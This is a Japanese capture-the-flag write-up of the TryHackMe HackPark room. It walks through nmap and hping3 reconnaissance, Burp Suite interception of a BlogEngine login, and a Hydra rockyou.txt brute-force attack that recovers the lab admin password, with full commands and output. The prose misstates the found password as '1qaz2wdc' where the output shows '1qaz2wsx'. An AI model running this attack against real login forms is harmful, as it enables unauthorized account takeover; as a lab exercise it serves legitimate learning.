今回は、TryHackMeのHackParkというRoomに参加して、Hydraを使用したブルートフォース攻撃をやってみようと思います。
「TryHackMe-HackPark:https://tryhackme.com/room/hackpark」
事前準備
まずは、事前準備からやっていきます。
IPアドレスを名前解決する。
まずは、IPアドレスを名前解決できるようにしておきましょう。
「/etc/hosts」にIPアドレスに対応するものを適当に登録しておきます。
今回は、hack-park.hklとしておきました。
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 hacklab
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.225.246 hack-park.hkl
スキャニング
続いては、ポートスキャンをしてみましょう。
ポートスキャンといえば、nmapですね!
nmapを知らない方は、こちらを参考にして少し勉強してみてください。
簡単なスイッチの説明をしておきます。
- -Pn
-
pingを実行しない
- -T4
-
高速スキャンの実行
- -A
-
バージョンの検出
では、hack-park.hklにポートスキャンをしてみます。
$ nmap -Pn -T4 -A hack-park.hkl
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-09 23:39 JST
Nmap scan report for hack-park.hkl (10.10.225.246)
Host is up (0.27s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
| http-robots.txt: 6 disallowed entries
| /Account/*.* /search /search.aspx /error404.aspx
|_/archive /archive.aspx
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: hackpark | hackpark amusements
|_http-server-header: Microsoft-IIS/8.5
3389/tcp open ssl/ms-wbt-server?
| rdp-ntlm-info:
| Target_Name: HACKPARK
| NetBIOS_Domain_Name: HACKPARK
| NetBIOS_Computer_Name: HACKPARK
| DNS_Domain_Name: hackpark
| DNS_Computer_Name: hackpark
| Product_Version: 6.3.9600
|_ System_Time: 2023-02-09T14:41:06+00:00
| ssl-cert: Subject: commonName=hackpark
| Not valid before: 2023-02-08T14:32:44
|_Not valid after: 2023-08-10T14:32:44
|_ssl-date: 2023-02-09T14:41:10+00:00; -1s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.06 seconds
ポートスキャンで注目しておくポイントは、ポートとプロトコル、サービスですね。
システム上でどんなアプリが実行されているかを知ることができれば、それに紐づく脆弱性をつくことができます。
HackParkは、Pingコマンド、ICMPパケットには応答しません。
この場合は、Hpingを使って、少し細工を加えたパケットを送信することで応答を確認することができます。
例えば、Synパケットをポート:80に4回送信する場合は、下記になります。
$ sudo hping3 -S hack-park.hkl -p 80 -c 4 127 ⨯
HPING hack-park.hkl (tun0 10.10.225.246): S set, 40 headers + 0 data bytes
len=44 ip=10.10.225.246 ttl=127 DF id=3645 sport=80 flags=SA seq=0 win=8192 rtt=280.2 ms
len=44 ip=10.10.225.246 ttl=127 DF id=3646 sport=80 flags=SA seq=1 win=8192 rtt=265.8 ms
len=44 ip=10.10.225.246 ttl=127 DF id=3647 sport=80 flags=SA seq=2 win=8192 rtt=273.2 ms
len=44 ip=10.10.225.246 ttl=127 DF id=3648 sport=80 flags=SA seq=3 win=8192 rtt=272.5 ms
--- hack-park.hkl hping statistic ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 265.8/272.9/280.2 ms
flags=SAからSYN/ACKパケットで応答していることがわかります。
ブラウザで確認する前に、ncを使って、サーバーのフィンガープリント、HTTPのレスポンスヘッダを取得してみましょう。
$ nc hack-park.hkl 80 1 ⨯
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 9429
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.5
Content-Style-Type: text/css
Content-Script-Type: text/javascript
X-Powered-By: ASP.NET
Date: Thu, 09 Feb 2023 14:51:30 GMT
Connection: close
ここで注目するべきが、下記ですね。
- Server:Microsoft-IIS/8.5
- X-Powered-By: ASP.NET
Windows Server 2012で動いていることや、Webアプリケーション環境がわかりました。
ブルートフォース攻撃
では、実際にブルートフォース攻撃を仕掛けていきましょう。
ログイン画面を表示
まずは、ログイン画面を探します。「http://hack-park.hkl」をFireFoxで開きましょう。
ピエロが表示されたと思います。
このピエロ見覚えありますかね??
ITのpennywiseですね(笑)
TryHackMeの問題にあるので、回答しておきます。
ブログを探していると、フッターに「BLOGENGINE」と記載がありますね。
これも大事な要素なので、メモしておきましょう。ついでに、ソースもみて、バージョンが「3.3.6.0」であることが確認できました。
そのまま探していると、ハンバーガーメニューにログイン画面への遷移ボタンがありました。
ここからログインができそうですね。
FoxyProxyを追加
リクエストをBurtSuiteで監視するために、FireFoxに拡張機能であるFoxyProxyを追加しましょう。「https://addons.mozilla.org/ja/firefox/addon/foxyproxy-standard/」から追加可能です。
下記のようになっていれば、追加はOKです。
FoxyProxyの設定
「option > add」で下記の画面を開きます。
下記を入力したら、saveを選択してください。
- Title or Description:Burp
- Proxy Type:HTTP
- Proxy IP address or DNS name:127.0.0.1
- Port:8080
下記のように、Burpが追加されていると思います。
では、ドロップボックスでBurpを選択しましょう。
BurpSuiteを起動
リクエストを監視するために、BurpSuiteを立ち上げましょう。
下記のように検索したら、みつかるはずです。
起動できましたでしょうか。
リクエストをIntercept
では、Burpを使ってリクエストをInterceptします。
Proxyタブから、「intercept is on」であることを確認してください。
できたら、先ほど見つけたログイン画面で適当なUsernameとPasswordを使って、ログインします。
今回は、どちらも「admin」にしています。
Blogengineだと、デフォルトの管理ユーザーは、adminなのでこのままブルートフォース攻撃をします。
WordPressだと、投稿者名なども有効かなと思います。(私も気を付けています。)
ログインボタンを選択すると、リクエスト内容がBurp上で確認できたかと思います。
Hydraを使用するための、情報収集
先ほどのリクエスト内容から、Hydraを利用するための情報を抜きだしていきます。
- WebサイトのIPアドレス:http://hack-park.hkl:80
- URL:/Account/login.aspx
- HTTPメソッド:POST
- UserNameのパラメータ:UserName=[admin]
- Passwordのパラメータ:Password=[admin]
あとは、ログインに失敗したときのメッセージが必要なので、Forwardして確認しましょう。
BurpのForwardを選択します。
ログインしたときの、メッセージが「Login failed」だとわかりました。
- ログインに失敗したときのメッセージ:Login failed
ここで、TryHackMeでログインフォームのHTTPメソッドを聞かれているので、「POST」と回答しておきましょう。
Hydraを使って、ブルートフォース攻撃
Hydraを使って、ブルートフォース攻撃をしていきます。
総当たりといっても、無限にやっていては時間がかかりすぎます。
なので、Kaliにあらかじめ収録されている「rockyou.txt」をパスワードリストとして利用していきます。(辞書攻撃、パスワードリスト攻撃)
2009年にソーシャルネットワークアプリを提供するRockYou のデータベースが侵害され、これをベースにrockyou.txtは作られました。
32,603,388アカウントで使用される14,341,564個の一意のパスワードが含まれています。
確認すると、gzになっていたので、展開しておきます。
$ locate rockyou.txt
/usr/share/wordlists/rockyou.txt.gz
$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz
先ほど、確認したリクエスト全体をコピーして、post.dataとしておいておきます。
sudo vi post.data
__VIEWSTATE=MkYXGV5%2Bc0qIgm1t1e0kbtUpGtt5MtRcLGEqJXx4%2BhGCocU9VMMRkI352KLS8GBm9eYxTntvxU62XKHhM5JcY7vVjsNp6M%2BpyxX9BHLp327jm1DV%2FkVWvh3x2YG1bvsX3kVb0QObR2Or5deK%2FNdMyjwBkgRD0V%2B3dDSaG36IwP4UpF7k%2Ftot2fh2B0b0Zd8jGKfcX4vb2u%2B9nFoqHYOdgupmbxx4mN9P%2B%2BBcjJmLeKQhO0Xnmf9xN5sqKvEscA7ZwJvvX3XY%2FD5ZbC8RfaqU%2FQL7hgRPqsjVufyBMTWnPfM3RJ0hn5oe%2B6BncUlfwCEEXSkcZ43LVGiIoQinmD3jlIMAWYIkdin%2F8w3QeAFnTZjVo6ef&__EVENTVALIDATION=dpNMf%2B9zeMIbHS7B1hK6dnt%2FthWjB%2F%2Bda7%2BU9AHp9oaWHCeSdP46TVSxIq6oMGHqQbC3YnR3A9qi895rU6YTP0D%2BLkl6UPjXUsdGCAyWgFbkbPumfRg2P5CgerfO9GVkJFkH%2BIhqnslBY73AOr7xTZO7%2F%2Bt8EyJOA8XHfjUFnu9FQRVO&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=admin&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in
また、この時にUserNameとPasswordパラメータを、adminから下記に変更しておきます。
- UserName=^USER^
- Password=^PASS^
$ cat post.data
__VIEWSTATE=MkYXGV5%2Bc0qIgm1t1e0kbtUpGtt5MtRcLGEqJXx4%2BhGCocU9VMMRkI352KLS8GBm9eYxTntvxU62XKHhM5JcY7vVjsNp6M%2BpyxX9BHLp327jm1DV%2FkVWvh3x2YG1bvsX3kVb0QObR2Or5deK%2FNdMyjwBkgRD0V%2B3dDSaG36IwP4UpF7k%2Ftot2fh2B0b0Zd8jGKfcX4vb2u%2B9nFoqHYOdgupmbxx4mN9P%2B%2BBcjJmLeKQhO0Xnmf9xN5sqKvEscA7ZwJvvX3XY%2FD5ZbC8RfaqU%2FQL7hgRPqsjVufyBMTWnPfM3RJ0hn5oe%2B6BncUlfwCEEXSkcZ43LVGiIoQinmD3jlIMAWYIkdin%2F8w3QeAFnTZjVo6ef&__EVENTVALIDATION=dpNMf%2B9zeMIbHS7B1hK6dnt%2FthWjB%2F%2Bda7%2BU9AHp9oaWHCeSdP46TVSxIq6oMGHqQbC3YnR3A9qi895rU6YTP0D%2BLkl6UPjXUsdGCAyWgFbkbPumfRg2P5CgerfO9GVkJFkH%2BIhqnslBY73AOr7xTZO7%2F%2Bt8EyJOA8XHfjUFnu9FQRVO&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in
Hydraの使用するオプションは、こんな感じ。
- -l
-
ユーザー名(-Lだとリストで実行できる)
- -P
-
パスワードのリスト
集めた情報をもとに、Hydraを実行します。
- admin
- rockyou.txt
- hack-park.hkl
- http-post-form
- “[URL]:[request]:F=[ログインに失敗したときのメッセージ]”
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt hack-park.hkl http-post-form "/Account/login.aspx:__VIEWSTATE=MkYXGV5%2Bc0qIgm1t1e0kbtUpGtt5MtRcLGEqJXx4%2BhGCocU9VMMRkI352KLS8GBm9eYxTntvxU62XKHhM5JcY7vVjsNp6M%2BpyxX9BHLp327jm1DV%2FkVWvh3x2YG1bvsX3kVb0QObR2Or5deK%2FNdMyjwBkgRD0V%2B3dDSaG36IwP4UpF7k%2Ftot2fh2B0b0Zd8jGKfcX4vb2u%2B9nFoqHYOdgupmbxx4mN9P%2B%2BBcjJmLeKQhO0Xnmf9xN5sqKvEscA7ZwJvvX3XY%2FD5ZbC8RfaqU%2FQL7hgRPqsjVufyBMTWnPfM3RJ0hn5oe%2B6BncUlfwCEEXSkcZ43LVGiIoQinmD3jlIMAWYIkdin%2F8w3QeAFnTZjVo6ef&__EVENTVALIDATION=dpNMf%2B9zeMIbHS7B1hK6dnt%2FthWjB%2F%2Bda7%2BU9AHp9oaWHCeSdP46TVSxIq6oMGHqQbC3YnR3A9qi895rU6YTP0D%2BLkl6UPjXUsdGCAyWgFbkbPumfRg2P5CgerfO9GVkJFkH%2BIhqnslBY73AOr7xTZO7%2F%2Bt8EyJOA8XHfjUFnu9FQRVO&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:F=Login failed"
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt hack-park.hkl http-post-form "/Account/login.aspx:__VIEWSTATE=MkYXGV5%2Bc0qIgm1t1e0kbtUpGtt5MtRcLGEqJXx4%2BhGCocU9VMMRkI352KLS8GBm9eYxTntvxU62XKHhM5JcY7vVjsNp6M%2BpyxX9BHLp327jm1DV%2FkVWvh3x2YG1bvsX3kVb0QObR2Or5deK%2FNdMyjwBkgRD0V%2B3dDSaG36IwP4UpF7k%2Ftot2fh2B0b0Zd8jGKfcX4vb2u%2B9nFoqHYOdgupmbxx4mN9P%2B%2BBcjJmLeKQhO0Xnmf9xN5sqKvEscA7ZwJvvX3XY%2FD5ZbC8RfaqU%2FQL7hgRPqsjVufyBMTWnPfM3RJ0hn5oe%2B6BncUlfwCEEXSkcZ43LVGiIoQinmD3jlIMAWYIkdin%2F8w3QeAFnTZjVo6ef&__EVENTVALIDATION=dpNMf%2B9zeMIbHS7B1hK6dnt%2FthWjB%2F%2Bda7%2BU9AHp9oaWHCeSdP46TVSxIq6oMGHqQbC3YnR3A9qi895rU6YTP0D%2BLkl6UPjXUsdGCAyWgFbkbPumfRg2P5CgerfO9GVkJFkH%2BIhqnslBY73AOr7xTZO7%2F%2Bt8EyJOA8XHfjUFnu9FQRVO&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:F=Login failed"
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-10 00:57:21
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://hack-park.hkl:80/Account/login.aspx:__VIEWSTATE=MkYXGV5%2Bc0qIgm1t1e0kbtUpGtt5MtRcLGEqJXx4%2BhGCocU9VMMRkI352KLS8GBm9eYxTntvxU62XKHhM5JcY7vVjsNp6M%2BpyxX9BHLp327jm1DV%2FkVWvh3x2YG1bvsX3kVb0QObR2Or5deK%2FNdMyjwBkgRD0V%2B3dDSaG36IwP4UpF7k%2Ftot2fh2B0b0Zd8jGKfcX4vb2u%2B9nFoqHYOdgupmbxx4mN9P%2B%2BBcjJmLeKQhO0Xnmf9xN5sqKvEscA7ZwJvvX3XY%2FD5ZbC8RfaqU%2FQL7hgRPqsjVufyBMTWnPfM3RJ0hn5oe%2B6BncUlfwCEEXSkcZ43LVGiIoQinmD3jlIMAWYIkdin%2F8w3QeAFnTZjVo6ef&__EVENTVALIDATION=dpNMf%2B9zeMIbHS7B1hK6dnt%2FthWjB%2F%2Bda7%2BU9AHp9oaWHCeSdP46TVSxIq6oMGHqQbC3YnR3A9qi895rU6YTP0D%2BLkl6UPjXUsdGCAyWgFbkbPumfRg2P5CgerfO9GVkJFkH%2BIhqnslBY73AOr7xTZO7%2F%2Bt8EyJOA8XHfjUFnu9FQRVO&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:F=Login failed
[STATUS] 707.00 tries/min, 707 tries in 00:01h, 14343692 to do in 338:09h, 16 active
[80][http-post-form] host: hack-park.hkl login: admin password: 1qaz2wsx
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-10 00:59:22
5分程度時間がかかりますが、「1qaz2wdc」とパスワードを見つけることができたと思います。
これは、キーボードの左2列に相当しますね。。。
見つけたパスワードでログイン
では、先ほど見つけたパスワードでログインしてみましょう!
無事管理画面にログインできました。
バージョンは、先ほどソースでみたバージョンと一致しますね!
最後に、TryHackMeの問題に解答して、終わりにしたいと思います。
まとめ
今回は、TryHackMe HackParkのブルートフォース攻撃のみをやってみました。
はじめてやったので、色々わからないことも多いですが、パスワードを見つけるのはわくわくしますね!
参考文献・サイト
STEFLAN:https://steflan-security.com/tryhackme-hackpark-walkthrough/
Sechuice:https://www.secjuice.com/thm-hack-park/